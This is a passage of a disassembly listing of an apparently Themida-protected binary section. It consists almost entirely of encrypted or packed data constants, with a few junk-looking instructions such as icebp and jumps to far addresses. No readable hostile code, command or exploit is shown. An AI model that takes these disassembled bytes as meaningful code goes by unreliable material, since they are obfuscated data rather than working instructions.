		dd 0FFBDF704h, 0EC8D1E15h, 54E512D3h, 0F52440B0h, 64091890h
		dd 68CE8F53h, 4A37A173h, 70F0FBFDh, 356E47Ah, 0C6825E55h
		dd 2140105h, 706BB53h, 565BD62Ah, 0F003770Bh, 0BBA52D8Ch
		dd 0C79006C3h, 5CEA5DA0h, 822EC56Bh, 841D0CC8h,	0E3B7340Ch
		dd 0D0667EEh, 0EA238F8Ch, 296F9141h, 6F4B064Ch,	545C0C10h
		dd 824703BCh, 0E06A60FBh, 1868D4E5h, 358A16C0h,	285F5525h
		dd 1839C782h, 0A4E1F69h, 6E68F8EAh, 6700534Fh, 817CB252h
		dd 29EB1DECh, 47C45DCCh, 0EE8AFEAh, 26C6510Eh, 8A390CDFh
		dd 5ACB00F2h, 8CD1025Fh, 82251415h, 581437C5h, 20753C0h
		dd 0EA8860F9h, 0DD40E70h, 0FBEA9DC1h, 82528ADDh, 983D1EC3h
		dd 8416FFF6h, 340333C2h, 668322Eh, 0A208AB0Dh, 41421C51h
		dd 0E282D2F8h, 5F8AE897h, 0C2004A77h, 121C7EDEh, 0C0EFB6EAh
		dd 0B2BAB5C5h, 0E21F2966h, 9B8A5359h, 0F280A616h, 708E3930h
		dd 8DDCDF0Ah, 8589F75Dh, 2D9469DAh, 81BFB132h, 8CF40259h
		dd 31EA1484h, 69600186h, 31A06491h, 8948F190h, 6FEA7F5Bh
		dd 80665CEDh, 1FA32739h, 2EF9E69Bh, 9815A019h, 9E8251h
		dd 0C4695937h, 0BB2D5F54h, 5BD145A8h, 66091290h, 456201Bh
		dd 6902531Eh, 1BA567D6h, 0D880154h, 8A6627EAh, 0FCDCF718h
		dd 0F4C0851Ch, 5CD9312Ch, 4E901C1h, 0EEA0825h, 542A9D52h
		dd 0C9E028Ch, 0FA1D6B88h, 0BB10330Ch, 2457860Dh, 0CDF08E30h
		dd 0BAEAC0FCh, 68C14474h, 94FD86F4h, 43D6E28Bh,	0F4407FFEh
		dd 0D9323FAEh, 301CED34h, 0BF87BE90h, 2A46AA09h, 0EAB921E9h
		dd 0BB501343h, 18C7E882h, 0C484614h, 0CB07045Ah, 0DABA5247h
		dd 9C908AB9h, 4039D302h, 25FC8127h, 43CA6402h, 48FFEA24h
		dd 1EFC28Fh, 71F78208h,	0DB39BC3Bh, 8825F8C8h, 58E354Ch
		dd 7446EA5Fh, 11ABD54h,	695BD72Ah, 0B5987A0Bh, 6318A03Dh
		dd 0E8E55881h, 505DD040h, 820B0040h, 1A170FECh,	0D46FF825h
		dd 0A3C44004h, 145E2124h, 89DEBCEAh, 741D8C12h,	0A7D60CB3h
		dd 0EA150306h, 10F4142Ch, 307A4623h, 0D20A3B87h, 0C3043CEBh
		dd 0E1268510h, 809D3D91h, 0B9300315h, 7ED86B1Fh, 6207EC0Eh
		dd 0D9F8314Bh, 8053D122h, 0C61170A0h, 6AD9A016h, 2AB22634h
		dd 78EA0504h, 0C6834E93h, 5BFF56ECh, 848E584Ch,	1CD9060h
		dd 8C08C10h, 5FE84C3Ch,	3B33F611h, 48E49AECh, 7300BB0Eh
		dd 0EAE10940h, 0A1B972Dh, 2678CCC1h, 67900412h,	0C6EA35FAh
		dd 7FDE1ADFh, 5A0E6A0Dh, 6428E26h, 315BE64h, 0F709E8C2h
		dd 32800B30h, 4CE19A02h, 8A0327E6h, 9EA60FCh, 659AB10h
		dd 0E212CA9Eh, 9FD03DB2h, 0EBC21D93h, 8CD39F06h, 0E0AD654Fh
		dd 5564BFEEh, 0FD91560Eh, 95B041C0h, 6179F6CAh,	1DBF30F3h
		dd 31A1769h, 7E0D8AD7h,	0C25A41CEh, 9F8C3F61h, 0E4D654E4h
		dd 84DC220Ch, 69463BBBh, 0F3823300h, 4D084205h,	0CF01E3ECh
		dd 0EA32F00Dh, 24566388h, 116C31D8h, 0A6DB29CDh, 0FC97C48h
		dd 25B1A933h, 0C78051E3h, 1F0D8F7Eh, 403BD9C0h,	0C3F88219h
		dd 3555F36Fh, 40D8E1A6h, 0BEA4A0A2h, 68027E3Bh,	0EE19CC73h
		dd 1E605766h, 9841199Fh, 0E5C12E71h, 0BCD880C9h, 63DD48EEh
		dd 9A35F2EAh, 0B61993Fh, 2B222DD4h, 0A2AA8FC5h,	0E7656F96h
		dd 58E19334h, 0A68D08B9h, 405BBF0Eh, 18590392h,	2A5D15EAh
		dd 0BB0CF29h, 0ACEC9720h, 2E34661Bh, 0B72ACD32h, 2684D53Fh
		dd 946772F8h, 37625018h, 0B19EA87Fh, 1252F51Ah,	47024058h
		dd 0D15404B7h, 0C25CDB02h, 0C0003D73h, 1FBF9346h, 9FA32ABh
		dd 22311FE8h, 0F86710E5h, 468AA81Dh, 4992DAh, 5489EE82h
		dd 0DE026AEBh, 3340F1FCh, 0B655A0C4h, 8206805Eh, 3E3C691Ch
		dd 135F9CD6h, 0F54764D3h, 5502E41h, 18022251h, 408859C7h
		dd 88F7D45Dh, 3DEBED79h, 0DC8E649h, 56E2FF24h, 8ED898BEh
		dd 0CE2F824Eh, 4AF2F006h, 0C987C002h, 402ACEDBh, 0CADA8AC2h
		dd 0CFA15CB9h, 52EA1CFFh, 3106280Fh, 0D5C1DB0h,	7B0996D6h
		dd 0C0A4803Fh, 17B353h,	0B854DBF7h, 0F938EAB9h,	0B79E78D8h
		dd 1B6C2468h, 268222FCh, 68ED6F8h, 762B0AEDh, 0E5ACE24h
		dd 0EC560604h, 0C7EF7383h, 0AD34082Ah, 0A8865DC8h, 984D02D6h
		dd 595A1494h, 5D7E9584h, 51260D24h, 0C9D14FA3h,	0D755311Dh
		dd 2EC1B564h, 0FEA04EFh, 0A584F1B6h, 6927A209h,	442D8231h
		dd 2F144A40h, 430A2D87h, 44035962h, 5B7BFB6Dh, 7CE4E405h
		dd 0B6C06E32h, 76F13539h, 0DCA1F3Dh, 0C5FD808h,	0A22E47DCh
		dd 0C289CA06h, 17564402h, 13393CC8h, 251A040Ch,	0D82A022Dh
		dd 8CA8615Bh, 0B253F543h, 990951E3h, 81880C84h,	0D4325D94h
		dd 682553EAh, 2849D020h, 2E814509h, 42B14F0Dh, 0B7445A3Bh
		dd 5F4DDA63h, 0A39DAD8Ch, 39766A83h, 0CBE04E02h, 0C17977F3h
		dd 8E3C205h, 0FE0FBF57h, 3154F9F4h, 7463ED26h, 8A50E6CDh
		dd 6A0AEC3Fh, 0F0776171h, 0A8E5AB42h, 3D24B1A9h, 12F80A0Dh
		dd 3C5CDAD0h, 0D732F288h, 0AD8E4208h, 1ECA2D00h, 0D9699CEAh
		dd 0CBF8052Ah, 6445D227h, 7469DB61h, 1DAB49F6h,	0A262E402h
		dd 19FEA598h, 77704A81h, 8D5600AFh, 5ACC323Eh, 5C036054h
		dd 0B7805806h, 46F3A81Eh, 2130AFAh, 3A072EF9h, 0E67611D1h
		dd 4C23912h, 1DD816F4h,	0F70B1158h, 0B894CD1h, 0E40F813Bh
		dd 0D74DCFFFh, 17E3E704h, 0F5710650h, 0E76F5B73h, 6DB08A2Ah
		dd 345D320h, 342CF1CDh,	2E8569A0h, 53802999h, 0C176B151h
		dd 540503E1h, 66EA74B4h, 1B67D7FCh, 0FA9B88h, 1C34BAC2h
		dd 5024EA54h, 21A80F62h, 93AE155Ch, 0DF58CAE0h,	68C3C3CEh
		dd 0E7C3B42h, 0A0FB830h, 1EBDC681h, 0F8EA924Fh,	83166D30h
		dd 8FF004C4h, 3C873FC1h, 9ECB8B24h, 0A0C2FD5Ah,	0E068F192h
		dd 890EC05Fh, 30E92414h, 4CE49249h, 0B3813954h,	38303FFh
		dd 0E9D2F70Ch, 141DE0FAh, 0DECC465Bh, 1C810EE7h, 7FBBFCC5h
		dd 5DE80109h, 3C38DD08h, 875AD08Fh, 55004714h, 7B3826BDh
		dd 0F5038163h, 287C5299h, 0CD838F45h, 1AB78191h, 95335880h
		dd 1EE9A448h, 686EDF61h, 0BD8032C1h, 64B3241Ch,	0E9FCB050h
		dd 1ACF417Fh, 0D30CCF66h, 808F4701h, 0C6CC01EEh, 50E9308Eh
		dd 0C0D7F69Bh, 0F303EF3Eh, 50C5367h, 0E9BEF760h, 652C6327h
		dd 0C19B51D8h, 0BA01569Bh, 6EC2770Dh, 6DB3BE9h,	8044B424h
		dd 6C2082ECh, 80336635h
		dd 0DCF0631h, 2A81E65Ch, 2C7F57h, 605812BDh, 4E5C165h
		dd 9AA486A0h, 0A406402Ah, 2434FF1Dh, 48206806h,	98EB833Bh
		dd 6709E9E7h, 60211498h, 0A7C1815Dh, 0E8A25328h, 97FE4028h
		dd 8956590Fh, 0FABD26E6h, 7E06AC12h, 5E02850h, 0C0833F08h
		dd 55CD654h, 1DE9C331h,	3BC44EDh, 1A205A5Bh, 155621Dh
		dd 8BF02906h, 0AB57BA98h, 5E805F72h, 14C25081h,	68146087h
		dd 57CEE953h, 0EB246E92h, 111E932Dh, 162F5ACCh,	7F831CADh
		dd 840F0620h, 33A08997h, 3F353CFEh, 5927586Fh, 0FEA8F262h
		dd 414A1F40h, 0B17CDE2h, 671A8052h, 5308CE39h, 1E9302BBh
		dd 0BAE92951h, 0B8B88049h, 24247A9Dh, 0FD81611Bh, 5B28685Fh
		dd 0BB0F3C23h, 272C7CC7h, 0F68034A8h, 88511CD6h, 9FE9DF5h
		dd 2F0759EFh, 85CF744Ch, 0BF300D39h, 0F04C831Eh, 1EEC47E9h
		dd 0C3C77B9h, 0F1C7FB2Dh, 8A5D1001h, 8BC80163h,	0F3572321h
		dd 0EB9C2C64h, 744333E9h, 0C9F744AFh, 31581E25h, 97BA13h
		dd 0FD06E6C1h, 1F579DCCh, 0CD4E6DC4h, 11E7D89h,	35D6BC9h
		dd 37487E87h, 0EA6149D1h, 0C20029Eh, 3C407085h,	110F5A95h
		dd 0AD92917h, 5B1D08E9h, 0A530DC89h, 0EF01D33Ch, 57E37E7h
		dd 803318F4h, 8B28D031h, 66026F14h, 25E930FFh, 9C8588D4h
		dd 0AA38CF8Eh, 561EA1DFh, 0B22C70Eh, 0E91481F8h, 0E59F166Eh
		dd 67EB8FC3h, 906F9E44h, 0BF41B873h, 1DA2601h, 0D08958C2h
		dd 0A0599530h, 8069D877h, 449EC83h, 6683971h, 8B2F4C02h
		dd 98E91210h, 11865EE3h, 0E0CB412Ch, 11DD05F4h,	0E430C8F6h
		dd 89859B59h, 22805AD1h, 484F0FBBh, 48F77198h, 4141FFCEh
		dd 247B1B26h, 928D87EAh, 0CD436C1h, 51656DFCh, 0AE00C35Bh
		dd 509248F3h, 3C8D2468h, 7FE961D6h, 1BA8DD3h, 0D0549A74h
		dd 0E46283h, 6A0BD18h, 0EDC1270Ch, 946034Ch, 80E180D0h
		dd 5F6DC74Ch, 29351FA3h, 851B9EFh, 33565122h, 5C243D4Dh
		dd 56C8BE94h, 0F3195F01h, 40055830h, 7CB76806h,	4BC6B99h
		dd 3B4B1C80h, 4F56B781h, 15779633h, 851F8AE9h, 3E02C411h
		dd 0D9AB1A51h, 0A1B600C4h, 902DA856h, 3C27FFCh,	0E9FB0F08h
		dd 3D031BE7h, 0D409ACC7h, 720C0022h, 5D2DF96Eh,	7960F1E9h
		dd 0F45EF25h, 0C0D60A4h, 0A33326ADh, 5FF80113h,	262F9254h
		dd 79407D66h, 506F3C6Ch, 9808AF29h, 18C3A874h, 5362913h
		dd 6C293EBCh, 8214200Ch, 90CC2921h, 800175E6h, 663CD188h
		dd 95B6985Ah, 782BB12h,	134A833h, 53C6C2DDh, 4AC0D4Bh
		dd 52075A92h, 0BBB25954h, 2426980Bh, 23DCC5Dh, 6E341250h
		dd 58C33E44h, 44125281h, 0C90049F5h, 72766F52h,	330E50Eh
		dd 0D5F7E54Bh, 238DB90Fh, 0C0015170h, 0A3E508E9h, 0C1D8F8C6h
		dd 4C0760E8h, 1315497Fh, 1692BF80h, 0F29A891h, 58200171h
		dd 6E50685Ah, 6998F8A6h, 0C6B13448h, 17C101B9h,	33234568h
		dd 1BFEBA5Eh, 86CE6C1h,	0C802F38h, 7C0B03B8h, 3E5923E9h
		dd 1C471395h, 0C4688D20h, 0E932A805h, 401E9B3h,	1050311Fh
		dd 3C8B59F1h, 0BFB0CBA4h, 8E990270h, 0A1665C89h, 37BF68CFh
		dd 0C61A53B4h, 44430BDh, 7552A68h, 0BF57285Eh, 0AFAF20Eh
		dd 0F336E95Fh, 242326A1h, 742510D8h, 53574C6h, 65774DAh
		dd 0BBE9035Bh, 5048A58Bh, 86B41786h, 5A568152h,	0B2E15E09h
		dd 99D0421Eh, 0CD0D0CD5h, 52C3FDE3h, 0C212EC15h, 583DA4C0h
		dd 3521B8C1h, 0A03CB703h, 12FA5F8h, 5BDA010Eh, 0E02DAE20h
		dd 297B121Eh, 8A410D7h,	5F4CF648h, 6729EA1h, 2E0E8CB6h
		dd 52321362h, 8F5EA890h, 0A02A719Ah, 0E769A412h, 0EF96197Eh
		dd 0B14A66DAh, 71819EA0h, 0E1D931D3h, 613865DBh, 0A7A6016Dh
		dd 0B6D64C49h, 0F1887F1Fh, 201CD609h, 0CE5569C2h, 615EF420h
		dd 2EC6F03h, 0A4E2966h,	0C7D93026h, 5D981034h, 0FA9735E9h
		dd 44289471h, 163C4079h, 5F30C524h, 2C26852h, 0E935807Fh
		dd 8FAA364Dh, 0EEB35337h, 84559DB4h, 7D61E96Dh,	0C5835902h
		dd 88BB908Ah, 53124A1Bh, 21474E07h, 0E7EF8039h,	0E5DC0499h
		dd 6D83FF41h, 8B7F7763h, 515D6B00h, 0F85E9EB9h
		db 19h
; ---------------------------------------------------------------------------


loc_4E6DBD:				; CODE XREF: Themida_:004E6DD3j
		pop	eax
		shl	dword ptr [ecx], 0Ch
		jmp	near ptr 53BFAE08h
; ---------------------------------------------------------------------------
		dw 50FBh
		db 87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cwde
		or	cl, [edx-16F9DEA7h]
		jle	short loc_4E6DBD
		db	64h
		mov	bh, 83h
		inc	ebp
		cmp	[edx+ebp*2+5A51A4B8h], ebx
		add	[esi], cl
		push	19442F1Dh
		add	esi, eax
		pop	eax
		push	es
		push	ebx
		xor	[edx-73h], al
		add	dh, [esi]
		icebp
		aas
		jmp	near ptr 0C7989C1Ah
; ---------------------------------------------------------------------------
		dd 0FB20F6C6h, 76667B15h, 61DAF2EAh, 0C4807EF9h, 0E5CCCC42h
		dd 53B25226h, 805AD40Fh, 0D0E928ECh, 643AD881h,	0CD904953h
		dd 0B6AEC8C0h, 1689A4FAh, 7295DEFh, 4BF4E91Eh, 32C8F7A8h
		dd 2D685807h, 59675451h, 28A6FE48h, 7C98205Eh, 0AFEE8003h
		dd 0DAB3B151h, 0A5A8503Ch, 4E6884A5h, 1B53A278h, 37E909E9h
		dd 535E505Ch, 0D1B0EF52h, 744BE9EDh, 2966E302h,	8040CCF0h
		dd 0FB257D86h, 0D3181339h, 515A4D30h, 2A129CFEh, 4E8C0387h
		dd 0C503B0C1h, 81510606h, 101872Eh, 3AF8C35Ch, 0E570DDCFh
		dd 304DD3AFh, 0A4E81D15h, 5285F1Ch, 58A3FB44h, 54C7131Eh
		dd 981B4B8Bh, 7B96CBFDh, 4AD89D2Ch, 0F304D29Bh,	7A2E10EAh
		dd 2DCE4491h, 0D50F45E2h, 0E6D8017Eh, 236F12Eh,	8016B753h
		dd 0DA4199CFh, 0EB639C5Ch, 488028Bh, 0DA8CD8EEh, 1487245Bh
		dd 0A8D268D7h, 0B4DD559Ah, 4B577224h, 3A2B0B54h, 5A1F74B8h
		dd 96E788h, 53288426h, 0EA4F3ABBh, 0DF296E03h, 21AE95Bh
		dd 2B03BA53h, 0EC04251h, 0E13B3E79h, 23E20335h,	6775461h
		dd 0A4E94AF6h, 5E3B5A42h, 6B0A9257h, 40C91A44h,	280C9761h
		dd 0DAC8DB87h, 0E8165050h, 2FBD0FB8h, 73660AA6h, 0F300AF84h
		dd 9BF1EE9Ch, 0C35BDE29h, 0EB82E9E9h, 0C9313824h, 53A6F71Fh
		dd 0B0551604h, 0F6715887h, 0B7C8EAA9h, 5EF72E89h, 0B42252h
		dd 3054B050h, 620458C1h, 2CC8281Dh, 27D15914h, 22629815h
		dd 0CF8BC170h, 80D60F79h, 1C8EF70Ch, 1229B169h,	0C301E9F9h
		dd 1C004FE3h, 5A9F6EBEh, 0A59CA05h, 51E9377Ch, 0D0308AC0h
		dd 771413D7h, 0FC3C0DDh, 0D1B8C0B6h, 8559958Ah,	114CA928h
		dd 7A87D3BAh, 2F01C64h,	5816413Fh, 4824589Ah, 0E9125B91h
		dd 68083B53h, 915D1330h, 22801A3h, 5C7AC959h, 0E403375h
		dd 1D0C7A18h, 661CE91Eh, 70CC40FFh, 1282442h, 0A422ABF0h
		dd 0B7B80509h, 8273AF69h, 0E19122DDh, 169646Dh,	2D32DD48h
		dd 5127077Bh, 22B95977h, 4A4BFD3Dh, 0A43E4CE9h,	5594CB17h
		dd 252AD700h, 0F2A04B3Dh, 610043CEh, 0EEC14CD6h, 0BA9CE902h
		dd 25547619h, 0C6A21E7Fh, 5C2D23BEh, 374EDB2h, 433C3500h
		dd 48273D29h, 83EE4FA4h, 8EBC15Eh, 77CCC407h, 0CEF2392Ch
		dd 81BA4CEEh, 0E00660D8h, 0C1A41CF4h, 0D6848098h, 3F9F72Ch
		dd 2F301212h, 30E99C50h, 5850CCDCh, 773EDC0h, 8008E51Dh
		dd 30CE7BDh, 2C43C560h,	0E8281D21h, 8C591504h, 52CDE916h
		dd 0F9261ED5h, 0CA4FF79Eh, 8DA6758Bh, 9180D366h, 6775A76Ah
		dd 0E0680BA2h, 5928195Ah, 20F18119h, 80DE510Fh,	0A5652EB9h
		dd 0A85E483Ah, 94410741h, 0AF6271D4h, 0E60C6802h, 0D3C05B4Ch
		dd 0EE306520h, 74541A70h, 29371E2Ah, 8ED14CDh, 0C3B5E912h
		dd 6EB35A9Eh, 2D29AF50h, 3B430A1Fh, 94675E1Ch, 0E8832D4Ah
		dd 80E92710h, 0E6D1095Ch, 0E01E960Ch, 28A3C380h, 0C83AE79Ch
		dd 2CC6902Eh, 7B01C453h, 0D73006B7h, 0ABD998BCh, 4B4E4730h
		dd 8A7C9151h, 18E61231h, 8060EC30h, 0F6DB0FB4h,	60EC0D4h
		dd 8305E465h, 2B87E2E5h, 0EBEBB0Eh, 2CC71EEAh, 4D0836Dh
		dd 0E97880A5h, 139E1566h, 299F6BEFh, 0CF1581D2h, 5B30C7FEh
		dd 0A934391Fh, 600C293Ah, 1E3C3E9h, 2A05E801h, 573DB07Ah
		dd 3199DF20h, 694C4F1Dh, 8565F7h, 3F76C7EAh, 39594928h
		dd 4068B281h, 0E9315D0Ch, 292E5AE6h, 0F53BC24Ch, 4803D39Ah
		dd 708F1D2Dh, 4AC3FA7Dh, 2513E581h, 10A3198Bh, 0C3F8FB01h
		dd 20EA23E8h, 50BA5238h, 327DA5Dh, 40D69A02h, 81489F07h
		dd 8F44D85Dh, 18D32980h, 42C3015Ah, 0D62C5642h,	0CCECF072h
		dd 413A00BDh, 0EA295EF9h, 764DB6E9h, 8FD82EB2h,	0D9FBD3AAh
		dd 2E9D73DFh, 0E958165Dh, 2CC2B18Fh, 60910CCh, 0D7F7FB87h
		dd 0DC46F608h, 58C70B61h, 0FEF2D40h, 0D870DC90h, 0E466FD28h
		dd 0CCA28ECh, 5216405Bh, 0A221D457h, 908DD72Eh,	4504CAFEh
		dd 0FA5A1A1Ch, 0D6E44478h, 207B06CBh, 32685318h, 7B9E9417h
		dd 0B4506D2Dh, 0B92D04AEh, 820C8A3Fh, 78105C1h,	3DFF505Eh
		dd 3A5469EEh, 4C4439Fh,	0C05FB340h, 0CB7B80E3h,	510E6618h
		dd 0FD2853B1h, 2604AACh, 4FE99A2Ch, 0C69C4949h,	0E088F494h
		dd 70265CD5h, 212D2271h, 62A468C1h, 0BF86ED3Ch,	57A127D0h
		dd 0C4587C27h, 68007C01h, 3AD60A2Ah, 0D84D13F4h, 0F7518ADCh
		dd 0B3B2ECE9h, 0A09620F7h, 5C4BDF1Fh, 0B0503646h, 2C3F12D3h
		dd 0C96D034Ah, 0C0DD066Fh, 0A26C78E1h, 0DE314912h, 17D938B0h
		dd 6B53Eh, 0BD73FDA5h, 0D75DE97Ah, 836F731Ah, 0A9452BB2h
		dd 0D9AB8207h, 10BE0779h, 29583FA4h, 0D15AD60Fh, 75ADE5E6h
		dd 0EDD6785Ch, 62467E09h, 8F873C0h, 0BF0E141Fh,	4A5F0080h
		dd 523C22Dh, 0F8016E8Bh, 0A6071F05h, 80D10848h,	5CA16052h
		dd 605D8125h, 6B803B6h,	0A5B29817h, 3D6DD905h, 90DC1BB5h
		dd 68199E14h, 0B9EEDB5h, 985B52BEh, 402CE926h, 1C51B505h
		dd 12832C49h, 8804FEB2h, 0E8C37EF3h, 0C09485FFh, 0C58719DDh
		dd 0BB42CDEh, 0E9821F0Eh, 0BD4472F3h, 9F746AD4h, 9886AA7Ah
		dd 604BF481h, 62652AA8h, 0B48121FDh, 1E69EF81h,	532A0C63h
		dd 0EE0738DFh, 20FEA80Eh, 82E95FFEh, 0BD28C008h, 6605144Eh
		dd 0E60B6B90h, 40C81D55h, 4D99E959h, 0C98B3B7Ch, 3C5FE1C1h
		dd 0F920D69Fh, 82704F68h, 80304A41h, 4E67C689h,	0B45B26FBh
		dd 0D336429h, 0DAC0631h, 6261AC4Ah, 0F7035C41h,	0BA9E3DDDh
		dd 4DCA051Fh, 251A3F37h, 609E3141h, 73D97F1Fh, 0C1FA4AA6h
		dd 1FEE0C5h, 0CCE1E480h, 0E7E0BCC4h, 0FA885801h, 6E2C05Bh
		dd 0CF4CC420h, 53A55428h, 2FC61F56h, 27C1E5AEh,	903EA24Eh
		dd 68005452h, 50FF2D21h, 2F8C159h, 5203C090h, 91F822Eh
		dd 9F07DD9h, 0E04010A7h, 0E0CD9005h, 7EBA1CF3h,	90C82920h
		dd 306813A2h, 41F0897Ah, 481267Bh, 51ACAE0Fh, 1D64B310h
		dd 4ACC6F04h, 0AB580E31h, 531EC9A3h, 60D6323Dh,	553EE9FBh
		dd 0CECB16D2h, 4556294Eh, 5C1CD2E5h, 0A5225BDAh, 2E929848h
		dd 0A561BB2h, 27CA8804h, 8485A9B0h, 78895E80h, 638D2710h
		dd 5BE25A0h, 14F6647Ah,	74974465h, 0D549ECF2h, 1999552Ch
		dd 20E1D950h, 36C62D3Fh, 286735BFh, 0D3A7C782h,	0ED5B0893h
		dd 0E257521Eh, 0CE7C0D8Dh, 0E926D8B4h, 4FF6F12Eh, 15CCCA81h
		dd 0F2D82152h, 54491E57h, 38F71922h, 0A0CD3C5Ah, 0B6013A68h
		dd 59C260E9h, 0B805654Dh, 23E2D7D0h, 0EDE0FD5Bh, 0B62A02B6h
		dd 53500E96h, 0FC44CF88h, 0A407815Bh, 8C680015h, 3E2FC646h
		dd 0E35C3B5Ah, 0ACAC5FEAh, 10E93C3Ah, 38DC6A5h,	561B68DFh
		dd 224C3710h, 0C2015D0Fh, 470D3605h, 25D58858h,	3250162Bh
		dd 0E4D02A80h, 0F5624FB4h, 800E445Eh, 20EF287h,	0E93CE514h
		dd 93C8C6B9h, 48A53D1h,	0ACD0569Bh, 16F41C5h, 68575A20h
		dd 0C6695164h, 0A8B9F960h, 2E8E1904h, 0ECC0E1C1h, 3B3F80F1h
		dd 796E38h, 1D6507EAh, 0DE9D1F7h, 0F0EC4155h, 0B10A5AA8h
		dd 0F4FA0175h, 502E0820h, 0D065F0B8h, 0C52D6D82h, 0BF0F2EF9h
		dd 0BCCB409Bh, 124A1378h, 0A2265814h, 4D230A83h, 95652208h
		dd 2956C486h, 1BE1BE8Dh, 3568F93Ch, 0DABAB990h,	135AD19Eh
		dd 0F5A08DCEh, 5E3B9AF0h, 4C9A5813h, 16392056h,	55B703BEh
		dd 9A23F0EEh, 6700BD1Ch, 312D877Ah, 31E958C5h, 174D079h
		dd 165230D9h, 7DDF1C39h, 0D7562731h, 874C04EEh,	1D97B649h
		dd 8D55BD59h, 3E489CA1h
		dd 0D3275FB7h, 81F558C7h, 79315D36h, 0E5384861h, 4D357F60h
		dd 6D7320h, 53A1BF57h, 0BA6860FBh, 0CBD35658h, 4CE487BEh
		dd 56481DBh, 0C1DCB373h, 7338B8E2h, 16B6801Dh, 66F08800h
		dd 80A0045Ah, 0E61270C3h, 0BC159E9h, 0B013E42h,	0FB840FC0h
		dd 77D0513Bh, 0A6542428h, 4DBD2E03h, 0AD142E9h,	0C8758FCh
		dd 0BA9D6AF5h, 0C83CB948h, 8F05126h, 3B2FC539h,	58C2E94Dh
		dd 25270B98h, 62668ADh,	0DEC51C44h, 10ADF310h, 2A581420h
		dd 0B753E304h, 700AB8D7h, 0DE2CD83Bh, 8480BD57h, 3685253h
		dd 2494A33h, 31BB425Ah,	78A3609Dh, 367C8030h, 49CDF24Ch
		dd 0B0EB00DCh, 0E90E681Ch, 25569EE4h, 0CA1DB167h, 0CF80BAF0h
		dd 1106C117h, 0E403E7C0h, 0F7F88BC7h, 0B4B08270h, 164BC2FEh
		dd 0E4981925h, 0E9523A66h, 8D94FF2Dh, 3216C89Eh, 2902AC95h
		dd 0BB5EF101h, 814AEEC0h, 97A47FBAh, 25612C63h,	8A625D0Ch
		dd 1A5CCB40h, 651C6853h, 55D56C41h, 0FC8D82C7h,	4FA3FD6Ah
		dd 0FF2CF828h, 0E959245Bh, 0ABA67BFDh, 857616F1h, 0D3F5B392h
		dd 4051C362h, 95F0A72h,	0F9895DA8h, 792CCC0Bh, 6A9ADFAEh
		dd 0C0CFFE03h, 9A8004EFh, 0D4D612Fh, 0D30B9579h, 384F030h
		dd 62680207h, 8CB56641h, 4C544BA7h, 0D1B7B792h,	17FEE4Ch
		dd 590E0FD8h, 1D30DEF7h, 2C7302EDh, 672DE936h, 44F9874h
		dd 6AB37D0Eh, 0DBC3C814h, 0B7DF085Ch, 0E09EE50Ch, 0B79821B8h
		dd 27A0524Dh, 1AB1859h,	8B34B3CEh, 4F29B8E9h, 21138551h
		dd 245A0BA2h, 807C84D4h, 605C7101h, 99064940h, 0E3390904h
		dd 685EACACh, 12586F27h, 2C72C5C7h, 0FC910CF9h,	9D07E2CDh
		dd 50579E79h, 0EA1A8C4h, 0CF404669h, 16D29CA3h,	3AE8F5Fh
		dd 88505351h, 54E392D4h, 5A1253F7h, 49CC651Ah, 2CDB2D68h
		dd 50E8F599h, 9B055F82h, 1159071Eh, 72DD84Ah, 2F8D853Ah
		dd 0A7C0178Bh, 1743637Eh, 0CCE82960h, 0D5296819h, 9CA0807Ch
		dd 1D0DDC00h, 0B245BD3Dh, 31291586h, 2349CFD5h,	21365260h
		dd 0F7133439h, 821C4DDDh, 0B72515D6h, 0FBACA39Dh, 0CF282C9Fh
		dd 5AD8B509h, 142DAAEh,	5321A530h, 480906BBh, 14B75F8h
		dd 7B5D192Ah, 0C0DBF460h, 73A52210h, 0DE0C0193h, 38CE84E9h
		dd 8368155Dh, 7B859D24h, 55AE607Fh, 0DEA05D54h,	8082E2BEh
		dd 0DC7DD000h, 0E04D6736h, 63EDA045h, 0AC0F92CCh, 3C5DEF21h
		dd 10021CC5h, 5FFA1CC1h, 9E52F964h, 68724C43h, 901C982Fh
		dd 915B542Eh, 9649698Bh, 13243F8Fh, 54561AD0h, 0A230975Eh
		dd 0E9803B82h, 4B845851h, 21ECB592h, 0C1028C1h,	642E580h
		dd 0C5FE3EB5h, 4BD233AAh, 60878CBDh, 2CE37E0Eh,	4810D601h
		dd 0C75D2708h, 0C1D90AE3h, 0E6A43995h, 0DAEF08AAh, 2AA06E25h
		dd 9C6EEB83h, 560F8098h, 33B86DB3h, 47DC6B01h, 0D148D0F7h
		dd 56EB9630h, 6459D029h, 6802503Ah, 78084D5Dh, 0B35C94C2h
		dd 38428F05h, 753A8581h, 39F8004h, 1F587E27h, 29D8015Bh
		dd 10E95379h, 8D4F7D78h, 2B0E25EEh, 0D6A1DE25h,	3634D4E1h
		dd 79DC17BEh, 0AF70059Ch, 877B8840h, 838AD9B8h,	35333269h
		dd 8A72203h, 266B0968h,	9D6F1237h, 0D6E24229h, 832542C4h
		dd 682C683Ah, 74355802h, 0B86E24D2h, 6D9A03B0h,	0C48B7F09h
		dd 28C11DDCh, 2E007E1h,	1E335C8Ch, 0F080D1F7h, 9B83D24h
		dd 1BA9A94h, 0DEE55B96h, 0DC8CCF89h, 4F15227h, 0F7A4B01h
		dd 737CCE81h, 0B883A131h, 2FE567B3h, 1CD30C17h,	0F3099D16h
		dd 0C707805Eh, 16386A0Dh, 95DEE01h, 92CDE46h, 592650A6h
		dd 4E1C2E58h, 6FE1A58h,	0E5B7C841h, 18FEF501h, 263070F7h
		dd 40D269F4h, 0C582B489h, 53094EA4h, 0E4A82678h, 63322EDh
		dd 0DD40631h, 0C886105Bh, 297B1542h, 0B2FDC0ACh, 0CB7CD628h
		dd 144B1E27h, 3A1049E9h, 0E3537301h, 0A0CD016Fh, 1CC00890h
		dd 778947F4h, 6E2527E9h, 4A14C726h, 0FF0D06DBh,	0C8B90DB4h
		dd 0F20188C4h, 6A4978A3h, 93114922h, 3D800F21h,	0B08E726Ah
		dd 9F0778EAh, 4E3B388Dh, 691AB7D0h, 1323C58h, 7CBCD4Eh
		dd 6F92EB0Ch, 0B2E20E89h, 0C018696Ch, 50603EEh,	0BC660FEh
		dd 800CB151h, 99A9C939h, 0C406A4C1h, 4BC3E9E4h,	0C95A5D30h
		dd 5FF2391Ch, 0D21F330h, 2BDDB9h, 0C981367Fh, 2AB471DEh
		dd 1F2EAA80h, 40414CC2h, 9E5EC8E1h, 425E91Ch, 98C8C44Fh
		dd 931E52D6h, 2811FF8Bh, 0D9CCEEA8h, 560DE69Eh,	5EC11968h
